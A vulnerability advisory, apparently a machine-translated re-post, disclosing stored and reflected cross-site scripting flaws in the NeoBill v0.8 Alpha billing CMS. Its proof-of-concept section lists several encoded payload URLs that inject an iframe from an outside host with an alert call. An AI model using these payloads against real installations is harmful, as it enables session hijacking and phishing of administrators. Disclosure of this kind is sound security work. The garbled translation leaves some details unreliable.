Multiple defects of NeoBill CMS v0.8 Alpha and repair

Title: NeoBill CMS v0.8 Alpha-Multiple Web Vulnerabilities
 
Introduction
==================
 
NeoBill is a web-based Customer Management and Billing solution designed for web hosting providers,
 
Particle ly hosting resellers. It is developed in PHP, uses MySQL as the backend database, and
 
Is licensed under the GPL. The script supports independent payment gateways, and registrars of domain names.

 
(For more information, see the official website: http://www.neobill.net /)
 
Impact:
 
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the NeoBill v0.8 Alpha Content Management System.
Technical Analysis
 
==========
 
1.1
 
A persistent input validation vulnerability is detected in the NeoBill v0.8 Alpha Content Management System.
 
The vulnerability allows remote attackers or local low privileged user account to inject/implement malicious persistent script
 
Code on application side of the neobill v0.8 web application. The vulnerability is located in the user account module
 
The bound vulnerable contactname or username parameters. Attackers can inject via register account or update profile malicious
 
Persistent script codes as companyname and username. The code will be persistent executed in the administration backend when processing
 
To watching the user account listings. Successful exploitation of the vulnerability result in persistent session hijacking attacks,
 
Persistent phishing requests & stable persistent module context manipulation.

 
Vulnerable Module (s ):
 
[+] User Accounts-Management [Admin Backend]
 

Vulnerable Parameter (s ):
 
[+] Contactname
 
[+] Username
 

 
1.2
 
Multiple client side cross site scripting vulnerabilities are detected in the NeoBill v0.8 Alpha Content Management System.
 
The vulnerability allows an remote attacker to manipulate client side application requests with medium or high required user
 
Inter action. The vulnerabilities are located in the unsanitized output of the Uncaught SWException & Invalid Object Exception
 
Web application modules. Successful exploitation of the vulnerability result in client side session hijacking, non-persistent
 
Phishing requests & non-persistent module context manipulation.
 

 

 
Vulnerable Module (s ):
 
[+] 2 x Exception Handling
 

 
Vulnerable Parameter (s ):
 
[+] Uncaught SWException Handling
 
[+] Invalid Object Exception Handling
 

 
Test proof:
 
========================
 
1.1
 
The persistent web vulnerability can be exploited by remote attacker with low privileged application user account and low
 
Required user inter action. For demonstration or reproduce...
 

 
Review: Listing-Contactname & Username
 
<Tr>
 
<Td>
 
<A href = "http: // www.2cto.com/neobill/manager/manager_content.php? Page = config_edit_user & user = admin "> admin </a>
 
</Td>
 
<Td>
 
Administrator
 
</Td>
 
<Td>
 
Admin "> <[persistet injected script code!] ") '<=" "Td =" ">
 
<Td>
 
<
 
Href = "mailto: sysop@neobill.servertest.de"> sysop@neobill.servertest.de </a>
 
</Td>
 

Affected User Account-Listing:
 
Http: // neobill.127.0.0.1: 1339/neobill/manager/manager_content.php? Page = config_edit_user & user = admin
 
Http: // neobill.127.0.0.1: 1339/neobill/manager/manager_content.php? Page = config_users
 

 
1.2
 
The non persistent cross site scripting vulnerabilities can be exploited by remote attackers without low privileged application
 
User account with medium or high required user inter action. For demonstration or reproduce...
 

 

 
Exception Handling-Uncaught SWException & Invalid Object Exception
 
Neobill.127.0.0.1: 1339/neobill/manager/manager_content.php? Page = % 22% 3E % 3 Ciframe % 20src = http://vuln-lab.com % 20 onload = alert % 28% 22 VLABS % 22% 29% 3C
 
Neobill.127.0.0.1: 1339/neobill/manager/manager_content.php? Page = services_new_domain _ % 22% 3E % 3 Ciframe % 20src = http://vuln-lab.com % 20 onload = alert % 28% 22 VLABS % 22% 29% 20% 3C
 
Neobill.127.0.0.1: 1339/neobill/manager/manager_content.php? Page = view_log _ % 22% 3E % 3 Ciframe % 20src = http://vuln-lab.com % 20 onload = alert % 28% 22 VLABS % 22% 29% 20% 3C & log = 1
 

 
Search:
 
Neobill.127.0.0.1: 1339/neobill/manager/manager_content.php
 
? Page = services_servers & submit = search _ % 22% 3E % 3 Ciframe % 20src = http://vuln-lab.com % 20 onload = alert % 28% 22 VLABS % 22% 29% 20% 3C
 

 
Register Domain:
 
Neobill.127.0.0.1: 1339/neobill/manager/manager_content.php
 
? Page = domains_register & submit = register _ % 22% 3E % 3 Ciframe % 20src = http://vuln-lab.com % 20 onload = alert % 28% 22 VLABS % 22% 29% 20% 3C
 

 

 
New Domain Service:
 
Www.2cto.com/neobill/manager/manager_content.php
 
? Page = services_new_domain_service & submit = new _ % 22% 3E % 3 Ciframe % 20src = http://vuln-lab.com % 20 onload = alert % 28% 22 VLABS % 22% 29% 20% 3C
 

--
 
VULNERABILITY RESEARCH LABORATORY
 
LABORATORY RESEARCH TEAM
 
CONTACT: research@vulnerability-lab.com